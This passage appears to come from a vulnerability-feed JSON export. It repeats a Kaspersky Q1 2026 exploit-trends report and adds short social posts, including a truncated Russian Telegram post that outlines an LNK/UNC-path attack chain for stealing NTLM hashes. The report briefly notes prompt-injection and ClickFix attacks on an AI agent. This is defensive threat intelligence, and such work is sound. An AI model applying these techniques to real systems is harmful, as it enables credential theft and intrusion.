sourced from cve.org.\nWe examine the number of registered CVEs for each month starting from January 2022. The total volume of vulnerabilities continues rising and, according to current reports, the use of AI agents for discovering security issues is expected to further reinforce this upward trend.\nTotal published vulnerabilities per month from 2022 through 2026 (download)\nNext, we analyze the number of new critical vulnerabilities (CVSS > 8.9) over the same period.\nTotal critical vulnerabilities published per month from 2022 through 2026 (download)\nThe graph indicates that while the volume of critical vulnerabilities slightly decreased compared to previous years, an upward trend remained clearly visible. At present, we attribute this to the fact that the end of last year was marked by the disclosure of several severe vulnerabilities in web frameworks. The current growth is driven by high-profile issues like React2Shell, the release of exploit frameworks for mobile platforms, and the uncovering of secondary vulnerabilities during the remediation of previously discovered ones. We will be able to test this hypothesis in the next quarter; if correct, the second quarter will show a significant decline, similar to the pattern observed in the previous year.\nExploitation statistics\nThis section presents statistics on vulnerability exploitation for Q1 2026. The data draws on open sources and our telemetry.\nWindows and Linux vulnerability exploitation\nIn Q1 2026, threat actor toolsets were updated with exploits for new, recently registered vulnerabilities. However, we first examine the list of veteran vulnerabilities that consistently account for the largest share of detections:\n\nCVE-2018-0802: a remote code execution (RCE) vulnerability in the Equation Editor component\nCVE-2017-11882: another RCE vulnerability also affecting Equation Editor\nCVE-2017-0199: a vulnerability in Microsoft Office and WordPad that allows an attacker to gain control over the system\nCVE-2023-38831: a vulnerability resulting from the improper handling of objects contained within an archive\nCVE-2025-6218: a vulnerability allowing the specification of relative paths to extract files into arbitrary directories, potentially leading to malicious command execution\nCVE-2025-8088: a directory traversal bypass vulnerability during file extraction utilizing NTFS Streams\nAmong the newcomers, we have observed exploits targeting the Microsoft Office platform and Windows OS components. Notably, these new vulnerabilities exploit logic flaws arising from the interaction between multiple systems, making them technically difficult to isolate within a specific file or library. A list of these vulnerabilities is provided below:\n\nCVE-2026-21509 and CVE-2026-21514: security feature bypass vulnerabilities: despite Protected View being enabled, a specially crafted file can still execute malicious code without the user\u2019s knowledge. Malicious commands are executed on the victim\u2019s system with the privileges of the user who opened the file.\nCVE-2026-21513: a vulnerability in the Internet Explorer MSHTML engine, which is used to open websites and render HTML markup. The vulnerability involves bypassing rules that restrict the execution of files from untrusted network sources. Interestingly, the data provider for this vulnerability was an LNK file.\nThese three vulnerabilities were utilized together in a single chain during attacks on Windows-based user systems. While this combination is noteworthy, we believe the widespread use of the entire chain as a unified exploit will likely decline due to its instability. We anticipate that these vulnerabilities will eventually be applied individually as initial entry vectors in phishing campaigns.\nBelow is the trend of exploit detections on user Windows systems starting from Q1 2025.\nDynamics of the number of Windows users encountering exploits, Q1 2025 \u2013 Q1 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)\nThe vulnerabilities listed here can be leveraged to gain initial access to a vulnerable system and for privilege escalation. This underscores the critical importance of timely software updates.\nOn Linux devices, exploits for the following vulnerabilities were detected most frequently:\n\nCVE-2022-0847: a vulnerability known as Dirty Pipe, which enables privilege escalation and the hijacking of running applications\nCVE-2019-13272: a vulnerability caused by improper handling of privilege inheritance, which can be exploited to achieve privilege escalation\nCVE-2021-22555: a heap out-of-bounds write vulnerability in the Netfilter kernel subsystem\nCVE-2023-32233: a vulnerability in the Netfilter subsystem that allows for Use-After-Free conditions and privilege escalation through the improper processing of network requests\nDynamics of the number of Linux users encountering exploits, Q1 2025 \u2013 Q1 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)\nIn the first quarter of 2026, we observed a decrease in the number of detected exploits; however, the detection rates are on the rise relative to the same period last year. For the Linux operating system, the installation of security patches remains critical.\nMost common published exploits\nThe distribution of published exploits by software type in Q1 2026 features an updated set of categories; once again, we see exploits targeting operating systems and Microsoft Office suites.\nDistribution of published exploits by platform, Q1 2026 (download)\nVulnerability exploitation in APT attacks\nWe analyzed which vulnerabilities were utilized in APT attacks during Q1 2026. The ranking provided below includes data based on our telemetry, research, and open sources.\nTOP 10 vulnerabilities exploited in APT attacks, Q1 2026 (download)\nIn Q1 2026, threat actors continued to utilize high-profile vulnerabilities registered in the previous year for APT attacks. The hypothesis we previously proposed has been confirmed: security flaws affecting web applications remain heavily exploited in real-world attacks. However, we are also observing a partial refresh of attacker toolsets. Specifically, during the first quarter of the year, APT campaigns leveraged recently discovered vulnerabilities in Microsoft Office products, edge networking device software, and remote access management systems. Although the most recent vulnerabilities are being exploited most heavily, their general characteristics continue to reinforce established trends regarding the categories of vulnerable software. Consequently, we strongly recommend applying the security patches provided by vendors.\nC2 frameworks\nIn this section, we examine the most popular C2 frameworks used by threat actors and analyze the vulnerabilities targeted by the exploits that interacted with C2 agents in APT attacks.\nThe chart below shows the frequency of known C2 framework usage in attacks against users during Q1 2026, according to open sources.\nTOP 10 C2 frameworks used by APTs to compromise user systems, Q1 2026 (download)\nMetasploit has returned to the top of the list of the most common C2 frameworks, displacing Sliver, which now shares the second position with Havoc. These are followed by Covenant and Mythic, the latter of which previously saw greater popularity. After studying open sources and analyzing samples of malicious C2 agents that contained exploits, we determined that the following vulnerabilities were utilized in APT attacks involving the C2 frameworks mentioned above:\n\nCVE-2023-46604: an insecure deserialization vulnerability allowing for arbitrary code execution within the server process context if the Apache ActiveMQ service is running\nCVE-2024-12356 and CVE-2026-1731: command injection vulnerabilities in BeyondTrust software that allow an attacker to send malicious commands even without system authentication\nCVE-2023-36884: a vulnerability in the Windows Search component that enables command execution on the system, bypassing security mechanisms built into Microsoft Office applications\nCVE-2025-53770: an insecure deserialization vulnerability in Microsoft SharePoint that allows for unauthenticated command execution on the server\nCVE-2025-8088 and CVE-2025-6218: similar directory traversal vulnerabilities that allow files to be extracted from an archive to a predefined path, potentially without the archiving utility displaying any alerts to the user\nThe nature of the described vulnerabilities indicates that they were exploited to gain initial access to the system. Notably, the majority of these security issues are targeted to bypass authentication mechanisms. This is likely due to the fact that C2 agents are being detected effectively, prompting threat actors to reduce the probability of discovery by utilizing bypass exploits.\nNotable vulnerabilities\nThis section highlights the most significant vulnerabilities published in Q1 2026 that have publicly available descriptions.\nCVE-2026-21519: Desktop Window Manager vulnerability\nAt the core of this vulnerability is a Type Confusion flaw. By attempting to access a resource within the Desktop Window Manager subsystem, an attacker can achieve privilege escalation. A necessary condition for exploiting this issue is existing authorization on the system.\nIt is worth noting that the DWM subsystem has been under close scrutiny by threat actors for quite some time. Historically, the primary attack vector involves interacting with the NtDComposition* function set.\nRegPwn (CVE-2026-21533): a system settings access control vulnerability\nCVE-2026-21533 is essentially a logic vulnerability that enables privilege escalation. It stems from the improper handling of privileges within Remote Desktop Services (RDS) components. By modifying service parameters in the registry and replacing the configuration with a custom key, an attacker can elevate privileges to the SYSTEM level. This vulnerability is likely to remain a fixture in threat actor toolsets as a method for establishing persistence and gaining high-level privileges.\nCVE-2026-21514: a Microsoft Office vulnerability\nThis vulnerability was discovered in the wild during attacks on user systems. Notably, an LNK file is used to initiate the exploitation process. CVE-2026-21514 is also a logic issue that allows for bypassing OLE technology restrictions on malicious code execution and the transmission of NetNTLM authentication requests when processing untrusted input.\nClawdbot (CVE-2026-25253): an OpenClaw vulnerability\nThis vulnerability in the AI agent leaks credentials (authentication tokens) when queried via the WebSocket protocol. It can lead to the compromise of the infrastructure where the agent is installed: researchers have confirmed the ability to access local system data and execute commands with elevated privileges. The danger of CVE-2026-25253 is further compounded by the fact that its exploitation has generated numerous attack scenarios, including the use of prompt injections and ClickFix techniques to install stealers on vulnerable systems.\nCVE-2026-34070: LangChain framework vulnerability\nLangChain is an open-source framework designed for building applications powered by large language models (LLMs). A directory traversal vulnerability allowed attackers to access arbitrary files within the infrastructure where the framework was deployed. The core of CVE-2026-34070 lies in the fact that certain functions within langchain_core/prompts/loading.py handled configuration files insecurely. This could potentially lead to the processing of files containing malicious data, which could be leveraged to execute commands and expose critical system information or other sensitive files.\nCVE-2026-22812: an OpenCode vulnerability\nCVE-2026-22812 is another vulnerability identified in AI-assisted coding software. By default, the OpenCode agent provided local access for launching authorized applications via an HTTP server that did not require authentication. Consequently, attackers could execute malicious commands on a vulnerable device with the privileges of the current user.\nConclusion and advice\nWe observe that the registration of vulnerabilities is steadily gaining momentum in Q1 2026, a trend driven by the widespread development of AI tools designed to identify security flaws across various software types. This trajectory is likely to result not only in a higher volume of registered vulnerabilities but also in an increase in exploit-driven attacks, further reinforcing the critical necessity of timely security patch deployment. Additionally, organizations must prioritize vulnerability management and implement effective defensive technologies to mitigate the risks associated with potential exploitation.\nTo ensure the rapid detection of threats involving exploit utilization and to prevent their escalation, it is essential to deploy a reliable security solution. Key features of such a tool include continuous infrastructure monitoring, proactive protection, and vulnerability prioritization based on real-world relevance. These mechanisms are integrated into Kaspersky Next, which also provides endpoint security and protection against cyberattacks of any complexity. \nsecurelist.com/vulnerabilities\u2026", "creation_timestamp": "2026-05-07T10:52:26.944036Z"}, {"uuid": "50405a0c-a32c-4d35-bd85-27dd4f73f139", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21533", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-e8c8129d-b09e02c4de9c4f4a", "content": "Exploits and vulnerabilities in Q1 2026\nDuring Q1 2026, the exploit kits leveraged by threat actors to target user systems expanded once again, incorporating new exploits for the Microsoft Office platform, as well as Windows and Linux operating systems.\nIn this report, we dive into the statistics on published vulnerabilities and exploits, as well as the known vulnerabilities leveraged by popular C2 frameworks throughout Q1 2026.\nStatistics on registered vulnerabilities\nThis section provides statistical data on registered vulnerabilities. The data is sourced from cve.org.\nWe examine the number of registered CVEs for each month starting from January 2022. The total volume of vulnerabilities continues rising and, according to current reports, the use of AI agents for discovering security issues is expected to further reinforce this upward trend.\nTotal published vulnerabilities per month from 2022 through 2026 (download)\nNext, we analyze the number of new critical vulnerabilities (CVSS > 8.9) over the same period.\nTotal critical vulnerabilities published per month from 2022 through 2026 (download)\nThe graph indicates that while the volume of critical vulnerabilities slightly decreased compared to previous years, an upward trend remained clearly visible. At present, we attribute this to the fact that the end of last year was marked by the disclosure of several severe vulnerabilities in web frameworks. The current growth is driven by high-profile issues like React2Shell, the release of exploit frameworks for mobile platforms, and the uncovering of secondary vulnerabilities during the remediation of previously discovered ones. We will be able to test this hypothesis in the next quarter; if correct, the second quarter will show a significant decline, similar to the pattern observed in the previous year.\nExploitation statistics\nThis section presents statistics on vulnerability exploitation for Q1 2026. The data draws on open sources and our telemetry.\nWindows and Linux vulnerability exploitation\nIn Q1 2026, threat actor toolsets were updated with exploits for new, recently registered vulnerabilities. However, we first examine the list of veteran vulnerabilities that consistently account for the largest share of detections:\n\nCVE-2018-0802: a remote code execution (RCE) vulnerability in the Equation Editor component\nCVE-2017-11882: another RCE vulnerability also affecting Equation Editor\nCVE-2017-0199: a vulnerability in Microsoft Office and WordPad that allows an attacker to gain control over the system\nCVE-2023-38831: a vulnerability resulting from the improper handling of objects contained within an archive\nCVE-2025-6218: a vulnerability allowing the specification of relative paths to extract files into arbitrary directories, potentially leading to malicious command execution\nCVE-2025-8088: a directory traversal bypass vulnerability during file extraction utilizing NTFS Streams\nAmong the newcomers, we have observed exploits targeting the Microsoft Office platform and Windows OS components. Notably, these new vulnerabilities exploit logic flaws arising from the interaction between multiple systems, making them technically difficult to isolate within a specific file or library. A list of these vulnerabilities is provided below:\n\nCVE-2026-21509 and CVE-2026-21514: security feature bypass vulnerabilities: despite Protected View being enabled, a specially crafted file can still execute malicious code without the user\u2019s knowledge. Malicious commands are executed on the victim\u2019s system with the privileges of the user who opened the file.\nCVE-2026-21513: a vulnerability in the Internet Explorer MSHTML engine, which is used to open websites and render HTML markup. The vulnerability involves bypassing rules that restrict the execution of files from untrusted network sources. Interestingly, the data provider for this vulnerability was an LNK file.\nThese three vulnerabilities were utilized together in a single chain during attacks on Windows-based user systems. While this combination is noteworthy, we believe the widespread use of the entire chain as a unified exploit will likely decline due to its instability. We anticipate that these vulnerabilities will eventually be applied individually as initial entry vectors in phishing campaigns.\nBelow is the trend of exploit detections on user Windows systems starting from Q1 2025.\nDynamics of the number of Windows users encountering exploits, Q1 2025 \u2013 Q1 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)\nThe vulnerabilities listed here can be leveraged to gain initial access to a vulnerable system and for privilege escalation. This underscores the critical importance of timely software updates.\nOn Linux devices, exploits for the following vulnerabilities were detected most frequently:\n\nCVE-2022-0847: a vulnerability known as Dirty Pipe, which enables privilege escalation and the hijacking of running applications\nCVE-2019-13272: a vulnerability caused by improper handling of privilege inheritance, which can be exploited to achieve privilege escalation\nCVE-2021-22555: a heap out-of-bounds write vulnerability in the Netfilter kernel subsystem\nCVE-2023-32233: a vulnerability in the Netfilter subsystem that allows for Use-After-Free conditions and privilege escalation through the improper processing of network requests\nDynamics of the number of Linux users encountering exploits, Q1 2025 \u2013 Q1 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)\nIn the first quarter of 2026, we observed a decrease in the number of detected exploits; however, the detection rates are on the rise relative to the same period last year. For the Linux operating system, the installation of security patches remains critical.\nMost common published exploits\nThe distribution of published exploits by software type in Q1 2026 features an updated set of categories; once again, we see exploits targeting operating systems and Microsoft Office suites.\nDistribution of published exploits by platform, Q1 2026 (download)\nVulnerability exploitation in APT attacks\nWe analyzed which vulnerabilities were utilized in APT attacks during Q1 2026. The ranking provided below includes data based on our telemetry, research, and open sources.\nTOP 10 vulnerabilities exploited in APT attacks, Q1 2026 (download)\nIn Q1 2026, threat actors continued to utilize high-profile vulnerabilities registered in the previous year for APT attacks. The hypothesis we previously proposed has been confirmed: security flaws affecting web applications remain heavily exploited in real-world attacks. However, we are also observing a partial refresh of attacker toolsets. Specifically, during the first quarter of the year, APT campaigns leveraged recently discovered vulnerabilities in Microsoft Office products, edge networking device software, and remote access management systems. Although the most recent vulnerabilities are being exploited most heavily, their general characteristics continue to reinforce established trends regarding the categories of vulnerable software. Consequently, we strongly recommend applying the security patches provided by vendors.\nC2 frameworks\nIn this section, we examine the most popular C2 frameworks used by threat actors and analyze the vulnerabilities targeted by the exploits that interacted with C2 agents in APT attacks.\nThe chart below shows the frequency of known C2 framework usage in attacks against users during Q1 2026, according to open sources.\nTOP 10 C2 frameworks used by APTs to compromise user systems, Q1 2026 (download)\nMetasploit has returned to the top of the list of the most common C2 frameworks, displacing Sliver, which now shares the second position with Havoc. These are followed by Covenant and Mythic, the latter of which previously saw greater popularity. After studying open sources and analyzing samples of malicious C2 agents that contained exploits, we determined that the following vulnerabilities were utilized in APT attacks involving the C2 frameworks mentioned above:\n\nCVE-2023-46604: an insecure deserialization vulnerability allowing for arbitrary code execution within the server process context if the Apache ActiveMQ service is running\nCVE-2024-12356 and CVE-2026-1731: command injection vulnerabilities in BeyondTrust software that allow an attacker to send malicious commands even without system authentication\nCVE-2023-36884: a vulnerability in the Windows Search component that enables command execution on the system, bypassing security mechanisms built into Microsoft Office applications\nCVE-2025-53770: an insecure deserialization vulnerability in Microsoft SharePoint that allows for unauthenticated command execution on the server\nCVE-2025-8088 and CVE-2025-6218: similar directory traversal vulnerabilities that allow files to be extracted from an archive to a predefined path, potentially without the archiving utility displaying any alerts to the user\nThe nature of the described vulnerabilities indicates that they were exploited to gain initial access to the system. Notably, the majority of these security issues are targeted to bypass authentication mechanisms. This is likely due to the fact that C2 agents are being detected effectively, prompting threat actors to reduce the probability of discovery by utilizing bypass exploits.\nNotable vulnerabilities\nThis section highlights the most significant vulnerabilities published in Q1 2026 that have publicly available descriptions.\nCVE-2026-21519: Desktop Window Manager vulnerability\nAt the core of this vulnerability is a Type Confusion flaw. By attempting to access a resource within the Desktop Window Manager subsystem, an attacker can achieve privilege escalation. A necessary condition for exploiting this issue is existing authorization on the system.\nIt is worth noting that the DWM subsystem has been under close scrutiny by threat actors for quite some time. Historically, the primary attack vector involves interacting with the NtDComposition* function set.\nRegPwn (CVE-2026-21533): a system settings access control vulnerability\nCVE-2026-21533 is essentially a logic vulnerability that enables privilege escalation. It stems from the improper handling of privileges within Remote Desktop Services (RDS) components. By modifying service parameters in the registry and replacing the configuration with a custom key, an attacker can elevate privileges to the SYSTEM level. This vulnerability is likely to remain a fixture in threat actor toolsets as a method for establishing persistence and gaining high-level privileges.\nCVE-2026-21514: a Microsoft Office vulnerability\nThis vulnerability was discovered in the wild during attacks on user systems. Notably, an LNK file is used to initiate the exploitation process. CVE-2026-21514 is also a logic issue that allows for bypassing OLE technology restrictions on malicious code execution and the transmission of NetNTLM authentication requests when processing untrusted input.\nClawdbot (CVE-2026-25253): an OpenClaw vulnerability\nThis vulnerability in the AI agent leaks credentials (authentication tokens) when queried via the WebSocket protocol. It can lead to the compromise of the infrastructure where the agent is installed: researchers have confirmed the ability to access local system data and execute commands with elevated privileges. The danger of CVE-2026-25253 is further compounded by the fact that its exploitation has generated numerous attack scenarios, including the use of prompt injections and ClickFix techniques to install stealers on vulnerable systems.\nCVE-2026-34070: LangChain framework vulnerability\nLangChain is an open-source framework designed for building applications powered by large language models (LLMs). A directory traversal vulnerability allowed attackers to access arbitrary files within the infrastructure where the framework was deployed. The core of CVE-2026-34070 lies in the fact that certain functions within langchain_core/prompts/loading.py handled configuration files insecurely. This could potentially lead to the processing of files containing malicious data, which could be leveraged to execute commands and expose critical system information or other sensitive files.\nCVE-2026-22812: an OpenCode vulnerability\nCVE-2026-22812 is another vulnerability identified in AI-assisted coding software. By default, the OpenCode agent provided local access for launching authorized applications via an HTTP server that did not require authentication. Consequently, attackers could execute malicious commands on a vulnerable device with the privileges of the current user.\nConclusion and advice\nWe observe that the registration of vulnerabilities is steadily gaining momentum in Q1 2026, a trend driven by the widespread development of AI tools designed to identify security flaws across various software types. This trajectory is likely to result not only in a higher volume of registered vulnerabilities but also in an increase in exploit-driven attacks, further reinforcing the critical necessity of timely security patch deployment. Additionally, organizations must prioritize vulnerability management and implement effective defensive technologies to mitigate the risks associated with potential exploitation.\nTo ensure the rapid detection of threats involving exploit utilization and to prevent their escalation, it is essential to deploy a reliable security solution. Key features of such a tool include continuous infrastructure monitoring, proactive protection, and vulnerability prioritization based on real-world relevance. These mechanisms are integrated into Kaspersky Next, which also provides endpoint security and protection against cyberattacks of any complexity. \nsecurelist.com/vulnerabilities\u2026", "creation_timestamp": "2026-05-07T10:52:27.366675Z"}, {"uuid": "1aae2578-b3b3-4222-bd5d-fbac89c4ad7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21514", "type": "seen", "source": "https://bsky.app/profile/pigondrugs.bsky.social/post/3mlba5yxkcj26", "content": "~Kaspersky~\nQ1 2026 exploit volumes surged due to AI discovery, with APTs heavily targeting MS Office, web apps, and AI frameworks.\n-\nIOCs: CVE-2026-21514, CVE-2026-25253, CVE-2026-21533\n-\n#APT #ThreatIntel #Vulnerabilities", "creation_timestamp": "2026-05-07T12:36:37.147095Z"}, {"uuid": "e53c0f85-5ea2-4a9d-83e9-f95407c05705", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21533", "type": "seen", "source": "https://bsky.app/profile/pigondrugs.bsky.social/post/3mlba5yxkcj26", "content": "~Kaspersky~\nQ1 2026 exploit volumes surged due to AI discovery, with APTs heavily targeting MS Office, web apps, and AI frameworks.\n-\nIOCs: CVE-2026-21514, CVE-2026-25253, CVE-2026-21533\n-\n#APT #ThreatIntel #Vulnerabilities", "creation_timestamp": "2026-05-07T12:36:40.597253Z"}, {"uuid": "1a6ce8f7-0ebb-4200-ac6b-3dec33389b19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21510", "type": "seen", "source": "https://t.me/codeby_sec/10098", "content": "Windows - \u0412 \u0421 \u0401!\n\n\ud83c\udf10 Microsoft \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430 \u0430\u043a\u0442\u0438\u0432\u043d\u0443\u044e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2026-32202 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 Windows Shell, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043a\u0440\u0430\u0441\u0442\u044c \u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0447\u0435\u0440\u0435\u0437 SMB-\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e. \u042d\u0442\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0432\u043e\u0437\u043d\u0438\u043a\u043b\u0430 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043f\u043e\u043b\u043d\u043e\u0433\u043e \u043f\u0430\u0442\u0447\u0430 \u0434\u043b\u044f \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2026-21510, \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u043d\u043e\u0433\u043e \u0432 \u0444\u0435\u0432\u0440\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430.\n\n\ud83d\udd78 \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a \u043a\u043b\u0430\u0441\u0441\u0443 spoofing (CVSS 4.3), \u043d\u043e \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u0440\u0438\u0441\u043a \u0432\u044b\u0448\u0435 \u0438\u0437-\u0437\u0430 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043b\u0430\u0442\u0435\u0440\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0435\u043d\u0438\u044f \u0432 \u0441\u0435\u0442\u0438. \u041f\u0440\u0438 \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0435 \u043f\u0430\u043f\u043a\u0438 \u0441 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c LNK-\u0444\u0430\u0439\u043b\u043e\u043c (\u044f\u0440\u043b\u044b\u043a\u043e\u043c) Windows Shell \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0440\u0430\u0437\u0440\u0435\u0448\u0430\u0435\u0442 UNC-\u043f\u0443\u0442\u044c \u0432 \u0444\u0430\u0439\u043b\u0435, \u0438\u043d\u0438\u0446\u0438\u0438\u0440\u0443\u044f SMB-\u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430. \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 NTLMv2-\u0445\u0435\u0448 \u0443\u0447\u0451\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0431\u0435\u0437 \u043a\u043b\u0438\u043a\u0430 \u0438\u043b\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0444\u0430\u0439\u043b\u0430 \u2014 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043e\u0442\u043a\u0440\u044b\u0442\u044c \u043f\u0430\u043f\u043a\u0443.\n\n\ud83e\uddff \u0418\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e CVE-2026-21510 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0430 \u0423\u043a\u0440\u0430\u0438\u043d\u0443 \u0438 \u0415\u0421 \u0432 \u0434\u0435\u043a\u0430\u0431\u0440\u0435 2025 \u0433\u043e\u0434\u0430; \u0444\u0435\u0432\u0440\u0430\u043b\u044c\u0441\u043a\u0438\u0439 \u043f\u0430\u0442\u0447 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043b RCE, \u043d\u043e \u043e\u0441\u0442\u0430\u0432\u0438\u043b \u0432\u0435\u043a\u0442\u043e\u0440 \u043a\u0440\u0430\u0436\u0438 credentials. \u041f\u043e\u043b\u043d\u043e\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0432\u044b\u0448\u043b\u043e 14 \u0430\u043f\u0440\u0435\u043b\u044f 2026 \u0432 Patch Tuesday (KB5083769 \u0434\u043b\u044f Windows 11 24H2/25H2), \u043d\u043e Microsoft 27 \u0430\u043f\u0440\u0435\u043b\u044f \u043e\u0431\u043d\u043e\u0432\u0438\u043b\u0430 \u0441\u0442\u0430\u0442\u0443\u0441, \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u0432 exploitation \u0432 wild. 28 \u0430\u043f\u0440\u0435\u043b\u044f CISA \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u0430 CVE \u0432 KEV-\u043a\u0430\u0442\u0430\u043b\u043e\u0433.\n\n\u2197\ufe0f \u0412\u0435\u043a\u0442\u043e\u0440 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 CVE-2026-32202 \u043e\u0441\u043d\u043e\u0432\u0430\u043d \u043d\u0430 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u0438 UNC-\u043f\u0443\u0442\u0435\u0439 \u0432 Windows Shell \u043f\u0440\u0438 \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0435 \u043f\u0430\u043f\u043a\u0438 \u0441 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c LNK-\u0444\u0430\u0439\u043b\u043e\u043c (\u044f\u0440\u043b\u044b\u043a\u043e\u043c), \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043f\u0440\u0438\u043d\u0443\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 SMB-\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0431\u0435\u0437 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u0430. \u042d\u0442\u043e zero-click \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439: \u0436\u0435\u0440\u0442\u0432\u0435 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043e\u0442\u043a\u0440\u044b\u0442\u044c \u043f\u0430\u043f\u043a\u0443 \u0432 \u041f\u0440\u043e\u0432\u043e\u0434\u043d\u0438\u043a\u0435, \u0447\u0442\u043e\u0431\u044b \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u0438\u043d\u0438\u0446\u0438\u0438\u0440\u043e\u0432\u0430\u043b\u0430 NTLM-\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u043d\u0430 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u0439 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u043c \u0441\u0435\u0440\u0432\u0435\u0440: \n\n\u0426\u0435\u043f\u043e\u0447\u043a\u0430 \u0430\u0442\u0430\u043a\u0438: \n1\ufe0f\u20e3 \u0414\u043e\u0441\u0442\u0430\u0432\u043a\u0430 payload: \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0440\u0430\u0437\u043c\u0435\u0449\u0430\u0435\u0442 LNK-\u0444\u0430\u0439\u043b \u0441 UNC-\u043f\u0443\u0442\u0451\u043c \u0432\u0438\u0434\u0430 \\\\server\\share\\file.lnk \u0432 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0439 \u043f\u0430\u043f\u043a\u0435 \u2014 \u0447\u0435\u0440\u0435\u0437 email-\u0432\u043b\u043e\u0436\u0435\u043d\u0438\u0435, \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u0443\u044e \u0441\u0441\u044b\u043b\u043a\u0443 \u043d\u0430 SMB-\u0448\u0430\u0440 \u0438\u043b\u0438 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u0440\u0435\u0441\u0443\u0440\u0441.\n2\ufe0f\u20e3 \u0410\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u0435: \u0416\u0435\u0440\u0442\u0432\u0430 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u043f\u0430\u043f\u043a\u0443 